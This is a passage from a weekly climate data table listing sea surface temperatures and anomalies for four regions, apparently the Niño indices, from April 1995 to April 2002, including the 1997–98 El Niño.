27.2-0.2     27.9 0.3     28.8 0.5\n 12APR1995     24.9-0.7     27.3-0.2     27.8 0.1     28.8 0.4\n 19APR1995     24.6-0.7     27.3-0.2     28.2 0.4     28.9 0.3\n 26APR1995     23.5-1.5     26.6-0.7     27.9 0.1     28.9 0.3\n 03MAY1995     23.3-1.4     26.6-0.6     28.0 0.2     29.2 0.6\n 10MAY1995     23.0-1.4     26.3-0.8     27.7-0.1     29.1 0.4\n 17MAY1995     23.0-1.2     26.2-0.8     27.7-0.2     29.2 0.4\n 24MAY1995     23.2-0.6     26.4-0.5     27.6-0.2     29.1 0.3\n 31MAY1995     22.8-0.7     26.4-0.3     27.7 0.0     29.0 0.2\n 07JUN1995     22.9-0.3     26.4-0.2     27.7 0.0     29.1 0.3\n 14JUN1995     22.9 0.0     26.4-0.1     27.7 0.1     29.1 0.3\n 21JUN1995     21.9-0.7     26.0-0.3     27.5 0.0     28.9 0.1\n 28JUN1995     21.8-0.5     25.8-0.3     27.3-0.1     28.8 0.0\n 05JUL1995     22.0 0.0     25.7-0.2     27.3-0.1     29.0 0.2\n 12JUL1995     21.2-0.5     25.6-0.1     27.1-0.2     28.8 0.0\n 19JUL1995     21.0-0.5     25.3-0.2     26.9-0.3     28.7-0.1\n 26JUL1995     20.8-0.5     25.1-0.3     26.8-0.3     28.6-0.1\n 02AUG1995     20.3-0.8     24.8-0.5     26.7-0.3     28.5-0.2\n 09AUG1995     19.9-1.0     24.3-0.8     26.3-0.6     28.3-0.4\n 16AUG1995     20.0-0.7     24.3-0.7     26.4-0.4     28.5-0.2\n 23AUG1995     19.9-0.7     24.3-0.7     26.3-0.5     28.4-0.2\n 30AUG1995     20.1-0.5     24.0-0.9     25.9-0.8     28.2-0.5\n 06SEP1995     20.4 0.0     24.1-0.8     26.0-0.8     28.2-0.5\n 13SEP1995     19.9-0.5     24.1-0.8     26.0-0.7     28.0-0.6\n 20SEP1995     20.2-0.2     24.0-0.9     26.1-0.7     28.4-0.3\n 27SEP1995     20.2-0.3     23.9-1.0     25.9-0.8     28.4-0.3\n 04OCT1995     19.6-1.0     23.9-1.0     25.6-1.1     28.1-0.5\n 11OCT1995     20.2-0.5     24.1-0.8     25.6-1.1     28.0-0.6\n 18OCT1995     20.0-0.8     24.1-0.9     25.8-0.9     28.2-0.5\n 25OCT1995     20.3-0.7     24.0-0.9     25.6-1.1     27.9-0.8\n 01NOV1995     21.0-0.2     24.1-0.8     25.6-1.0     28.0-0.7\n 08NOV1995     20.6-0.8     23.9-1.1     25.8-0.9     28.1-0.5\n 15NOV1995     21.3-0.2     24.1-0.9     25.7-1.0     27.8-0.8\n 22NOV1995     21.4-0.4     24.1-0.9     25.5-1.1     27.7-0.9\n 29NOV1995     21.6-0.5     24.1-1.0     25.7-0.9     28.1-0.5\n 06DEC1995     21.5-0.9     24.1-1.0     25.6-1.0     27.9-0.6\n 13DEC1995     21.7-1.0     24.0-1.1     25.4-1.2     27.9-0.5\n 20DEC1995     22.0-1.0     24.1-1.1     25.6-1.0     28.1-0.3\n 27DEC1995     22.8-0.6     24.5-0.8     25.7-0.9     28.1-0.3\n 03JAN1996     23.4-0.4     24.6-0.8     25.6-1.0     28.1-0.3\n 10JAN1996     23.6-0.6     24.9-0.6     25.6-1.0     27.9-0.4\n 17JAN1996     24.0-0.5     25.2-0.5     25.9-0.7     27.8-0.5\n 24JAN1996     23.9-1.0     25.0-0.8     25.9-0.7     27.9-0.4\n 31JAN1996     24.6-0.7     25.2-0.8     25.8-0.9     27.8-0.4\n 07FEB1996     25.4-0.3     25.4-0.8     25.6-1.1     27.5-0.6\n 14FEB1996     25.9-0.1     25.7-0.6     25.8-0.9     27.5-0.5\n 21FEB1996     26.0-0.2     25.9-0.6     25.8-1.0     27.4-0.7\n 28FEB1996     26.1-0.2     26.3-0.5     26.3-0.6     27.5-0.6\n 06MAR1996     26.6 0.2     26.5-0.4     26.2-0.8     27.5-0.6\n 13MAR1996     26.1-0.3     26.9-0.2     26.6-0.6     27.7-0.5\n 20MAR1996     26.3-0.1     27.0-0.2     26.8-0.5     27.7-0.5\n 27MAR1996     25.7-0.4     26.7-0.6     26.8-0.6     27.8-0.4\n 03APR1996     24.4-1.5     26.5-0.9     27.0-0.6     27.9-0.5\n 10APR1996     23.9-1.7     27.0-0.4     27.4-0.3     27.9-0.5\n 17APR1996     23.8-1.6     26.8-0.7     27.3-0.4     28.0-0.5\n 24APR1996     23.6-1.5     26.7-0.7     27.6-0.1     28.2-0.3\n 01MAY1996     23.0-1.9     26.4-0.9     27.4-0.4     28.2-0.4\n 08MAY1996     23.0-1.6     26.5-0.7     27.6-0.2     28.4-0.3\n 15MAY1996     23.0-1.3     26.3-0.8     27.3-0.5     28.3-0.4\n 22MAY1996     23.0-0.9     26.2-0.7     27.2-0.6     28.5-0.3\n 29MAY1996     22.6-1.1     26.2-0.6     27.3-0.4     28.6-0.2\n 05JUN1996     22.3-1.0     26.0-0.6     27.3-0.4     28.6-0.3\n 12JUN1996     21.9-1.0     26.0-0.5     27.3-0.4     28.5-0.4\n 19JUN1996     21.4-1.3     25.8-0.6     27.3-0.3     28.4-0.4\n 26JUN1996     20.6-1.8     25.7-0.5     27.3-0.2     28.6-0.2\n 03JUL1996     20.4-1.7     25.9 0.0     27.6 0.2     28.6-0.2\n 10JUL1996     20.1-1.8     25.4-0.3     27.1-0.2     28.5-0.3\n 17JUL1996     20.0-1.6     25.4-0.2     27.1-0.1     28.3-0.5\n 24JUL1996     20.2-1.2     25.1-0.4     26.9-0.2     28.5-0.3\n 31JUL1996     19.2-1.9     24.7-0.6     26.6-0.4     28.4-0.3\n 07AUG1996     19.2-1.7     24.8-0.4     26.7-0.3     28.5-0.2\n 14AUG1996     20.0-0.8     24.6-0.5     26.5-0.4     28.6 0.0\n 21AUG1996     20.1-0.5     24.6-0.3     26.5-0.3     28.6-0.1\n 28AUG1996     18.9-1.6     24.4-0.6     26.5-0.2     28.4-0.3\n 04SEP1996     19.1-1.3     24.3-0.6     26.4-0.4     28.5-0.2\n 11SEP1996     19.4-1.0     24.4-0.5     26.2-0.5     28.3-0.4\n 18SEP1996     19.1-1.3     24.3-0.5     26.4-0.3     28.5-0.2\n 25SEP1996     19.3-1.2     24.4-0.4     26.3-0.4     28.4-0.3\n 02OCT1996     19.5-1.2     24.5-0.4     26.2-0.5     28.3-0.4\n 09OCT1996     19.5-1.3     24.3-0.6     26.2-0.5     28.5-0.2\n 16OCT1996     20.2-0.6     24.4-0.5     26.3-0.3     28.5-0.1\n 23OCT1996     20.5-0.5     24.4-0.6     26.2-0.5     28.3-0.3\n 30OCT1996     20.0-1.1     24.3-0.7     26.1-0.5     28.3-0.3\n 06NOV1996     20.2-1.2     24.4-0.6     26.1-0.5     28.1-0.5\n 13NOV1996     20.1-1.4     24.4-0.6     26.2-0.5     28.3-0.3\n 20NOV1996     20.3-1.5     24.4-0.6     26.3-0.3     28.4-0.1\n 27NOV1996     20.4-1.6     24.3-0.7     26.2-0.4     28.3-0.2\n 04DEC1996     20.8-1.5     24.4-0.7     26.3-0.3     28.5 0.0\n 11DEC1996     21.6-1.0     24.1-1.0     26.1-0.5     28.6 0.1\n 18DEC1996     21.6-1.3     24.2-1.0     25.9-0.6     28.3-0.1\n 25DEC1996     22.1-1.1     24.1-1.1     25.9-0.7     28.3-0.1\n 01JAN1997     22.5-1.2     24.3-1.1     25.8-0.8     28.2-0.2\n 08JAN1997     23.0-1.0     24.5-1.0     25.9-0.6     28.4 0.1\n 15JAN1997     23.6-0.8     24.6-1.0     25.8-0.7     28.4 0.1\n 22JAN1997     24.3-0.5     24.8-1.0     25.9-0.7     28.4 0.2\n 29JAN1997     24.6-0.6     25.1-0.8     26.3-0.4     28.4 0.2\n 05FEB1997     25.3-0.2     25.2-0.9     26.2-0.5     28.4 0.2\n 12FEB1997     25.4-0.6     25.8-0.5     26.4-0.3     28.3 0.2\n 19FEB1997     26.3 0.1     25.9-0.6     26.4-0.4     28.2 0.1\n 26FEB1997     26.2-0.1     26.2-0.4     26.5-0.4     28.2 0.1\n 05MAR1997     26.8 0.5     26.6-0.3     26.6-0.4     28.1 0.0\n 12MAR1997     26.9 0.5     26.8-0.3     26.8-0.4     28.3 0.1\n 19MAR1997     27.0 0.6     27.3 0.1     27.4 0.1     28.5 0.3\n 26MAR1997     27.2 1.0     27.4 0.1     27.3-0.1     28.9 0.7\n 02APR1997     27.0 1.1     27.3-0.1     27.5 0.0     29.2 0.8\n 09APR1997     26.4 0.7     27.3-0.1     27.8 0.2     29.2 0.8\n 16APR1997     26.5 1.1     27.6 0.1     28.0 0.3     29.3 0.8\n 23APR1997     26.6 1.4     27.8 0.4     28.4 0.6     29.5 0.9\n 30APR1997     26.8 1.9     28.0 0.7     28.4 0.6     29.5 0.8\n 07MAY1997     26.8 2.2     28.2 1.0     28.6 0.8     29.4 0.8\n 14MAY1997     26.7 2.4     28.0 0.9     28.5 0.6     29.3 0.6\n 21MAY1997     26.6 2.6     27.9 1.0     28.6 0.8     29.5 0.7\n 28MAY1997     26.8 3.1     28.1 1.3     28.8 1.0     29.5 0.7\n 04JUN1997     26.4 3.1     28.0 1.3     28.8 1.1     29.4 0.6\n 11JUN1997     26.5 3.5     28.1 1.6     28.9 1.2     29.3 0.5\n 18JUN1997     26.0 3.3     28.2 1.8     29.0 1.4     29.4 0.6\n 25JUN1997     26.2 3.7     28.2 2.0     29.1 1.6     29.5 0.7\n 02JUL1997     25.9 3.7     28.1 2.1     29.0 1.5     29.4 0.6\n 09JUL1997     25.7 3.8     28.0 2.2     28.9 1.6     29.5 0.7\n 16JUL1997     25.7 4.1     28.1 2.5     29.0 1.8     29.5 0.7\n 23JUL1997     25.5 4.1     27.9 2.4     28.8 1.7     29.5 0.8\n 30JUL1997     25.2 4.0     27.9 2.6     28.9 1.9     29.5 0.8\n 06AUG1997     25.3 4.3     27.8 2.6     28.8 1.8     29.4 0.7\n 13AUG1997     25.4 4.6     27.9 2.9     28.9 2.0     29.3 0.6\n 20AUG1997     24.2 3.6     27.9 2.9     28.9 2.1     29.2 0.5\n 27AUG1997     24.3 3.7     27.7 2.7     28.8 2.0     29.2 0.5\n 03SEP1997     24.6 4.2     27.8 2.9     28.9 2.1     29.2 0.6\n 10SEP1997     24.6 4.2     27.8 2.9     28.9 2.2     29.3 0.6\n 17SEP1997     24.2 3.8     27.8 2.9     28.9 2.2     29.3 0.6\n 24SEP1997     24.4 3.9     27.9 3.0     28.9 2.2     29.5 0.8\n 01OCT1997     24.1 3.5     28.0 3.1     29.1 2.4     29.4 0.7\n 08OCT1997     24.5 3.8     28.1 3.2     29.2 2.6     29.3 0.6\n 15OCT1997     24.5 3.7     28.1 3.2     29.2 2.5     29.3 0.7\n 22OCT1997     24.9 3.9     28.2 3.3     29.3 2.6     29.5 0.8\n 29OCT1997     24.7 3.6     28.3 3.4     29.2 2.6     29.2 0.6\n 05NOV1997     25.0 3.7     28.4 3.4     29.2 2.6     29.2 0.6\n 12NOV1997     25.8 4.3     28.5 3.6     29.3 2.7     29.5 0.8\n 19NOV1997     25.8 4.1     28.6 3.6     29.3 2.7     29.7 1.1\n 26NOV1997     25.9 3.9     28.7 3.7     29.4 2.8     29.7 1.1\n 03DEC1997     26.2 3.9     28.6 3.6     29.2 2.6     29.4 0.9\n 10DEC1997     26.7 4.2     28.7 3.6     29.2 2.7     29.4 0.9\n 17DEC1997     27.0 4.1     28.8 3.6     29.3 2.7     29.3 0.8\n 24DEC1997     27.2 4.0     28.8 3.5     29.3 2.7     29.3 0.9\n 31DEC1997     27.7 4.1     28.9 3.5     29.2 2.7     29.2 0.8\n 07JAN1998     28.0 4.0     28.9 3.4     29.2 2.6     29.1 0.8\n 14JAN1998     28.4 4.0     28.9 3.3     29.1 2.5     29.0 0.7\n 21JAN1998     28.4 3.7     28.9 3.2     29.0 2.4     28.9 0.7\n 28JAN1998     28.3 3.2     29.1 3.1     29.1 2.4     28.9 0.7\n 04FEB1998     28.9 3.4     29.1 3.0     29.2 2.5     29.0 0.9\n 11FEB1998     28.9 3.0     29.0 2.7     29.0 2.3     29.0 0.9\n 18FEB1998     29.1 3.0     28.8 2.3     28.7 1.9     28.8 0.7\n 25FEB1998     29.1 2.9     28.9 2.2     28.6 1.7     28.8 0.7\n 04MAR1998     29.2 2.8     29.0 2.2     28.5 1.5     28.6 0.4\n 11MAR1998     29.2 2.8     29.1 2.1     28.7 1.6     28.8 0.7\n 18MAR1998     29.2 2.7     29.1 2.0     28.6 1.4     28.6 0.4\n 25MAR1998     29.1 2.8     29.2 2.0     28.8 1.5     28.6 0.4\n 01APR1998     29.1 3.1     29.3 1.9     28.7 1.2     28.6 0.2\n 08APR1998     28.8 3.0     29.2 1.8     28.6 1.0     28.5 0.0\n 15APR1998     28.6 3.1     29.1 1.6     28.4 0.6     28.5 0.0\n 22APR1998     28.4 3.2     29.0 1.6     28.5 0.7     28.5-0.1\n 29APR1998     28.3 3.4     28.9 1.6     28.7 0.8     28.7 0.1\n 06MAY1998     27.8 3.2     29.4 2.1     29.1 1.3     28.7 0.1\n 13MAY1998     28.1 3.8     28.7 1.6     28.8 0.9     28.7-0.1\n 20MAY1998     27.9 3.9     27.6 0.7     28.3 0.5     28.6-0.2\n 27MAY1998     27.0 3.3     27.1 0.2     27.9 0.1     28.8 0.0\n 03JUN1998     26.2 2.8     26.1-0.6     27.1-0.6     28.7-0.1\n 10JUN1998     26.1 3.0     26.2-0.3     26.9-0.8     28.6-0.2\n 17JUN1998     24.6 1.8     25.8-0.6     26.7-1.0     28.7-0.1\n 24JUN1998     24.5 2.0     26.0-0.2     26.4-1.1     28.5-0.3\n 01JUL1998     24.1 1.9     25.7-0.3     26.4-1.1     28.3-0.5\n 08JUL1998     23.6 1.7     25.6-0.2     26.2-1.2     28.2-0.6\n 15JUL1998     23.6 2.0     25.3-0.4     25.9-1.4     28.1-0.7\n 22JUL1998     23.0 1.5     24.9-0.6     25.7-1.4     28.0-0.8\n 29JUL1998     23.2 2.0     24.9-0.5     25.7-1.4     27.8-1.0\n 05AUG1998     22.6 1.7     24.8-0.4     25.6-1.4     27.9-0.8\n 12AUG1998     21.8 1.1     24.6-0.5     25.5-1.4     27.8-0.9\n 19AUG1998     21.3 0.7     24.4-0.6     25.2-1.6     27.6-1.0\n 26AUG1998     21.2 0.7     24.7-0.3     25.6-1.2     27.6-1.0\n 02SEP1998     21.1 0.6     24.5-0.4     25.6-1.2     27.8-0.8\n 09SEP1998     20.9 0.5     24.3-0.6     25.9-0.8     28.3-0.4\n 16SEP1998     21.0 0.7     24.2-0.7     25.7-1.0     28.0-0.7\n 23SEP1998     20.5 0.1     24.1-0.7     25.5-1.2     27.6-1.1\n 30SEP1998     20.9 0.3     23.7-1.2     25.1-1.6     27.2-1.4\n 07OCT1998     20.9 0.2     23.9-1.0     25.3-1.4     27.5-1.2\n 14OCT1998     21.2 0.4     24.1-0.8     25.4-1.3     27.3-1.4\n 21OCT1998     21.1 0.1     24.1-0.8     25.3-1.4     27.2-1.5\n 28OCT1998     21.6 0.5     24.2-0.7     25.5-1.2     27.3-1.3\n 04NOV1998     21.4 0.1     24.4-0.6     25.2-1.5     27.2-1.4\n 11NOV1998     21.0-0.4     24.0-0.9     25.2-1.5     27.2-1.4\n 18NOV1998     21.7 0.0     24.1-0.9     25.2-1.4     27.1-1.5\n 25NOV1998     21.5-0.5     24.0-1.0     25.1-1.5     27.2-1.4\n 02DEC1998     21.7-0.5     23.9-1.2     25.1-1.5     27.3-1.2\n 09DEC1998     22.0-0.5     23.8-1.3     24.8-1.8     27.2-1.2\n 16DEC1998     22.5-0.3     23.9-1.3     24.7-1.8     27.1-1.4\n 23DEC1998     23.3 0.2     23.8-1.4     24.6-1.9     27.0-1.4\n 30DEC1998     23.2-0.4     23.9-1.5     24.7-1.9     26.7-1.7\n 06JAN1999     23.4-0.5     24.1-1.4     24.7-1.9     26.7-1.7\n 13JAN1999     23.7-0.6     24.2-1.4     25.0-1.6     26.8-1.5\n 20JAN1999     23.3-1.4     24.5-1.3     25.0-1.6     26.4-1.8\n 27JAN1999     24.5-0.6     24.9-1.0     25.0-1.6     26.2-2.0\n 03FEB1999     24.8-0.6     25.1-1.0     25.2-1.5     26.6-1.6\n 10FEB1999     25.1-0.7     25.0-1.2     25.2-1.5     26.5-1.6\n 17FEB1999     25.5-0.6     25.5-0.9     25.5-1.3     26.3-1.7\n 24FEB1999     26.8 0.6     26.4-0.2     25.7-1.2     26.4-1.7\n 03MAR1999     27.4 1.1     26.7-0.1     26.1-0.9     26.8-1.3\n 10MAR1999     27.0 0.6     26.6-0.4     26.1-1.0     26.7-1.5\n 17MAR1999     26.4 0.0     26.7-0.4     26.2-1.0     26.9-1.2\n 24MAR1999     26.3 0.0     26.7-0.6     26.5-0.9     27.0-1.2\n 31MAR1999     25.8-0.3     26.6-0.7     26.5-1.0     27.0-1.3\n 07APR1999     24.4-1.3     26.7-0.7     26.7-0.9     27.1-1.3\n 14APR1999     24.6-0.9     26.5-0.9     26.8-0.9     27.3-1.1\n 21APR1999     23.8-1.4     26.7-0.7     27.0-0.8     27.4-1.1\n 28APR1999     23.7-1.3     26.8-0.6     27.0-0.8     27.5-1.1\n 05MAY1999     23.6-1.1     26.6-0.6     27.0-0.8     27.8-0.9\n 12MAY1999     23.7-0.7     26.7-0.4     27.1-0.7     27.9-0.8\n 19MAY1999     23.7-0.4     26.5-0.5     26.9-0.9     27.8-0.9\n 26MAY1999     23.2-0.6     26.1-0.8     26.9-0.9     27.9-0.9\n 02JUN1999     22.5-0.9     25.8-0.9     26.7-1.1     28.0-0.8\n 09JUN1999     22.4-0.8     25.8-0.7     26.6-1.1     27.9-0.9\n 16JUN1999     21.6-1.2     25.6-0.9     26.6-1.1     28.0-0.9\n 23JUN1999     21.3-1.2     25.4-0.8     26.5-1.0     28.0-0.8\n 30JUN1999     21.3-1.0     25.3-0.8     26.6-0.8     28.1-0.7\n 07JUL1999     20.4-1.5     25.2-0.7     26.6-0.7     28.1-0.7\n 14JUL1999     20.4-1.3     24.9-0.7     26.4-0.8     27.8-1.0\n 21JUL1999     20.3-1.1     24.8-0.7     26.2-0.9     27.8-1.0\n 28JUL1999     20.2-1.0     24.4-1.0     26.0-1.0     27.8-0.9\n 04AUG1999     20.2-0.8     24.3-0.9     26.0-1.0     27.8-0.9\n 11AUG1999     19.7-1.1     24.1-1.0     25.6-1.3     27.7-1.0\n 18AUG1999     19.5-1.1     23.9-1.1     25.4-1.4     27.8-0.9\n 25AUG1999     19.7-0.9     24.0-1.0     25.5-1.3     27.6-1.1\n 01SEP1999     19.5-1.0     23.6-1.3     25.4-1.4     27.6-1.0\n 08SEP1999     19.2-1.2     23.7-1.2     25.7-1.1     27.7-0.9\n 15SEP1999     18.9-1.5     23.6-1.3     25.7-1.0     27.7-0.9\n 22SEP1999     19.3-1.2     23.8-1.1     25.8-0.9     27.9-0.7\n 29SEP1999     19.5-1.1     24.0-0.8     25.9-0.8     27.8-0.8\n 06OCT1999     19.7-0.9     23.6-1.3     25.7-1.0     27.9-0.8\n 13OCT1999     20.1-0.7     23.7-1.2     25.8-0.9     28.0-0.6\n 20OCT1999     20.0-1.0     23.7-1.2     25.6-1.0     27.8-0.9\n 27OCT1999     20.6-0.5     23.8-1.1     25.4-1.3     27.7-1.0\n 03NOV1999     20.1-1.2     23.6-1.3     25.4-1.3     27.6-1.0\n 10NOV1999     20.1-1.3     23.7-1.2     25.4-1.3     27.5-1.1\n 17NOV1999     20.6-1.0     23.5-1.5     25.2-1.5     27.6-1.0\n 24NOV1999     20.9-1.1     23.1-1.9     24.7-1.9     27.4-1.1\n 01DEC1999     21.0-1.2     23.1-1.9     24.9-1.7     27.3-1.2\n 08DEC1999     21.1-1.4     23.6-1.5     25.1-1.4     27.3-1.2\n 15DEC1999     21.3-1.4     23.4-1.7     24.9-1.7     27.1-1.4\n 22DEC1999     22.0-1.1     23.8-1.4     24.9-1.6     27.1-1.3\n 29DEC1999     23.0-0.5     23.6-1.8     24.6-1.9     27.2-1.2\n 05JAN2000     23.2-0.6     23.4-2.1     24.5-2.0     27.0-1.3\n 12JAN2000     23.8-0.4     23.9-1.7     24.7-1.9     26.9-1.4\n 19JAN2000     23.7-0.9     24.0-1.7     24.8-1.8     26.9-1.4\n 26JAN2000     24.0-1.0     24.0-1.8     24.6-2.0     26.9-1.3\n 02FEB2000     25.0-0.4     24.7-1.3     24.8-1.9     26.7-1.5\n 09FEB2000     25.1-0.7     25.3-0.9     25.1-1.6     26.6-1.5\n 16FEB2000     25.6-0.5     25.5-0.9     25.4-1.4     26.7-1.4\n 23FEB2000     26.2 0.0     25.4-1.2     25.2-1.6     26.6-1.5\n 01MAR2000     26.4 0.1     25.7-1.0     25.5-1.5     26.5-1.6\n 08MAR2000     26.6 0.2     26.2-0.8     25.7-1.4     26.6-1.5\n 15MAR2000     26.2-0.3     26.5-0.6     26.0-1.2     26.7-1.5\n 22MAR2000     25.3-1.0     26.9-0.3     26.3-1.1     26.7-1.5\n 29MAR2000     25.6-0.5     27.5 0.2     26.8-0.7     27.0-1.3\n 05APR2000     25.7-0.1     27.6 0.2     27.0-0.6     27.2-1.2\n 12APR2000     26.1 0.5     27.4-0.1     26.9-0.8     27.3-1.2\n 19APR2000     25.6 0.3     27.5 0.0     27.0-0.8     27.4-1.1\n 26APR2000     25.3 0.3     27.5 0.1     27.1-0.7     27.5-1.0\n 03MAY2000     24.9 0.2     27.3 0.0     27.1-0.7     27.5-1.1\n 10MAY2000     24.3-0.1     27.2 0.0     27.1-0.7     27.7-1.0\n 17MAY2000     23.9-0.3     26.6-0.4     27.1-0.8     27.8-1.0\n 24MAY2000     23.2-0.6     26.4-0.5     27.1-0.7     28.0-0.8\n 31MAY2000     23.2-0.3     26.3-0.4     27.2-0.5     28.1-0.7\n 07JUN2000     22.6-0.6     26.0-0.7     27.0-0.7     28.0-0.8\n 14JUN2000     22.4-0.5     25.9-0.6     27.1-0.6     28.1-0.7\n 21JUN2000     21.7-0.9     25.8-0.5     27.0-0.6     28.2-0.7\n 28JUN2000     21.4-0.9     25.5-0.6     26.9-0.6     28.0-0.8\n 05JUL2000     21.0-1.0     25.6-0.3     26.9-0.5     28.0-0.8\n 12JUL2000     20.6-1.2     25.2-0.5     26.8-0.5     28.1-0.7\n 19JUL2000     20.3-1.2     24.9-0.6     26.7-0.5     28.2-0.5\n 26JUL2000     20.2-1.1     24.9-0.5     26.5-0.6     28.3-0.4\n 02AUG2000     20.2-0.8     24.7-0.5     26.6-0.4     28.4-0.3\n 09AUG2000     20.1-0.8     24.5-0.6     26.6-0.3     28.4-0.3\n 16AUG2000     20.5-0.2     24.4-0.6     26.4-0.4     28.3-0.3\n 23AUG2000     20.1-0.5     24.3-0.7     26.3-0.5     28.1-0.5\n 30AUG2000     19.3-1.2     24.5-0.4     26.4-0.4     28.2-0.4\n 06SEP2000     20.2-0.3     24.4-0.4     26.3-0.5     28.4-0.2\n 13SEP2000     19.7-0.7     24.3-0.6     26.1-0.6     28.4-0.2\n 20SEP2000     20.1-0.3     24.2-0.6     26.1-0.6     28.5-0.2\n 27SEP2000     19.9-0.6     24.4-0.5     26.3-0.4     28.4-0.3\n 04OCT2000     20.2-0.5     24.7-0.2     26.1-0.6     28.1-0.5\n 11OCT2000     20.2-0.5     24.4-0.5     26.0-0.6     28.2-0.4\n 18OCT2000     20.5-0.3     24.3-0.6     25.9-0.8     28.1-0.5\n 25OCT2000     20.7-0.4     24.3-0.6     25.9-0.8     28.1-0.6\n 01NOV2000     20.6-0.6     24.2-0.8     25.6-1.1     28.0-0.6\n 08NOV2000     20.6-0.8     24.0-1.0     25.6-1.1     28.1-0.6\n 15NOV2000     20.3-1.3     24.2-0.7     25.9-0.7     28.2-0.4\n 22NOV2000     20.2-1.7     24.1-0.9     25.9-0.7     28.1-0.5\n 29NOV2000     21.4-0.7     24.4-0.6     25.9-0.7     27.8-0.7\n 06DEC2000     21.8-0.6     24.4-0.7     25.6-1.0     27.5-1.1\n 13DEC2000     22.4-0.2     24.5-0.6     25.6-1.0     27.6-0.9\n 20DEC2000     22.4-0.6     24.4-0.8     25.6-1.0     27.6-0.8\n 27DEC2000     22.2-1.2     24.4-1.0     25.5-1.0     27.5-0.9\n 03JAN2001     22.8-0.9     24.5-0.9     25.6-1.0     27.5-0.8\n 10JAN2001     23.3-0.8     24.7-0.8     25.6-1.0     27.5-0.9\n 17JAN2001     23.7-0.8     25.1-0.6     25.8-0.8     27.5-0.8\n 24JAN2001     24.6-0.3     25.3-0.5     25.9-0.8     27.4-0.8\n 31JAN2001     25.2 0.0     25.4-0.6     26.0-0.7     27.3-0.9\n 07FEB2001     25.6-0.1     25.8-0.4     25.9-0.8     27.1-1.0\n 14FEB2001     25.6-0.4     25.9-0.5     26.0-0.7     27.2-0.9\n 21FEB2001     26.0-0.2     26.4-0.1     26.3-0.6     27.3-0.8\n 28FEB2001     26.7 0.4     26.7 0.0     26.4-0.5     27.4-0.8\n 07MAR2001     27.2 0.8     27.1 0.2     26.6-0.5     27.4-0.7\n 14MAR2001     27.3 0.8     27.2 0.1     26.8-0.4     27.6-0.6\n 21MAR2001     27.6 1.3     27.4 0.2     27.1-0.2     27.7-0.6\n 28MAR2001     27.7 1.6     27.4 0.2     27.0-0.4     27.8-0.5\n 04APR2001     27.3 1.5     27.6 0.2     27.3-0.3     27.9-0.4\n 11APR2001     27.2 1.6     27.7 0.3     27.6-0.1     28.1-0.3\n 18APR2001     26.2 0.8     27.7 0.2     27.7-0.1     28.3-0.2\n 25APR2001     25.9 0.8     27.2-0.1     27.6-0.2     28.2-0.3\n 02MAY2001     24.2-0.6     27.1-0.2     27.5-0.3     28.3-0.3\n 09MAY2001     23.9-0.6     27.0-0.1     27.6-0.2     28.6-0.1\n 16MAY2001     23.6-0.6     26.7-0.4     27.5-0.3     28.6-0.1\n 23MAY2001     23.3-0.6     26.9-0.1     27.7-0.1     28.8 0.0\n 30MAY2001     23.1-0.5     26.7 0.0     27.7-0.1     28.8 0.0\n 06JUN2001     22.1-1.2     26.7 0.1     27.8 0.1     28.8 0.0\n 13JUN2001     21.7-1.3     26.3-0.1     27.7 0.0     28.8 0.0\n 20JUN2001     21.5-1.2     26.3 0.0     27.7 0.1     28.8-0.1\n 27JUN2001     20.7-1.6     25.9-0.2     27.6 0.1     28.9 0.1\n 04JUL2001     20.7-1.4     25.6-0.3     27.5 0.1     29.0 0.2\n 11JUL2001     21.2-0.6     25.5-0.2     27.4 0.1     29.0 0.2\n 18JUL2001     20.9-0.7     25.5-0.1     27.3 0.1     29.1 0.3\n 25JUL2001     20.7-0.6     25.2-0.2     27.2 0.1     29.1 0.3\n 01AUG2001     20.3-0.8     25.0-0.3     27.2 0.1     29.1 0.4\n 08AUG2001     20.1-0.8     25.0-0.1     27.0 0.1     28.9 0.2\n 15AUG2001     19.8-0.9     24.7-0.3     26.8 0.0     28.9 0.2\n 22AUG2001     19.8-0.8     24.6-0.3     26.8 0.0     28.9 0.2\n 29AUG2001     19.7-0.9     24.3-0.6     26.6-0.2     29.0 0.4\n 05SEP2001     19.6-0.8     24.4-0.5     26.6-0.1     29.2 0.5\n 12SEP2001     19.1-1.3     24.2-0.7     26.6-0.2     29.1 0.4\n 19SEP2001     19.4-1.0     24.2-0.6     26.5-0.2     29.2 0.5\n 26SEP2001     19.6-0.9     24.3-0.6     26.5-0.2     29.1 0.4\n 03OCT2001     19.2-1.4     24.4-0.5     26.5-0.2     28.9 0.3\n 10OCT2001     19.6-1.1     24.4-0.5     26.5-0.2     29.0 0.4\n 17OCT2001     19.4-1.4     24.5-0.4     26.6 0.0     29.0 0.3\n 24OCT2001     19.6-1.4     24.5-0.4     26.6 0.0     29.1 0.4\n 31OCT2001     19.9-1.3     24.5-0.5     26.6 0.0     28.9 0.3\n 07NOV2001     20.3-1.1     24.3-0.7     26.6-0.1     29.1 0.5\n 14NOV2001     20.1-1.5     24.3-0.7     26.5-0.1     29.0 0.4\n 21NOV2001     20.6-1.2     24.3-0.7     26.3-0.3     28.8 0.2\n 28NOV2001     21.4-0.7     24.4-0.6     26.3-0.3     28.7 0.2\n 05DEC2001     21.4-1.0     24.5-0.6     26.1-0.5     28.6 0.1\n 12DEC2001     21.6-1.1     24.5-0.7     26.1-0.4     28.6 0.1\n 19DEC2001     22.0-0.9     24.6-0.5     26.2-0.4     28.5 0.0\n 26DEC2001     22.5-0.8     24.8-0.5     26.2-0.3     28.6 0.2\n 02JAN2002     23.2-0.5     24.8-0.7     26.2-0.4     28.6 0.2\n 09JAN2002     23.3-0.8     25.0-0.5     26.5-0.1     28.8 0.5\n 16JAN2002     23.5-1.0     25.0-0.7     26.4-0.1     28.9 0.6\n 23JAN2002     23.8-1.1     25.3-0.5     26.6 0.0     28.9 0.6\n 30JAN2002     24.3-0.9     25.5-0.5     26.7 0.1     28.7 0.6\n 06FEB2002     25.4-0.2     26.0-0.2     26.9 0.3     28.8 0.7\n 13FEB2002     25.9-0.1     26.2-0.2     27.0 0.3     28.9 0.8\n 20FEB2002     26.3 0.1     26.4-0.1     26.8 0.0     28.6 0.5\n 27FEB2002     27.4 1.1     26.7 0.0     27.1 0.1     28.6 0.5\n 06MAR2002     27.1 0.8     27.1 0.2     27.2 0.1     28.5 0.4\n 13MAR2002     27.6 1.2     27.2 0.1     27.3 0.1     28.6 0.4\n 20MAR2002     27.8 1.4     27.3 0.1     27.4 0.1     28.8 0.6\n 27MAR2002     27.4 1.3     27.4 0.2     27.4 0.0     28.7 0.5\n 03APR2002     27.1 1.2     27.6 0.2     27.7 0.2     28.8 0.5\n 10APR2002     27.1 1.5     27.8 0.4     28.0 0.3     29.0 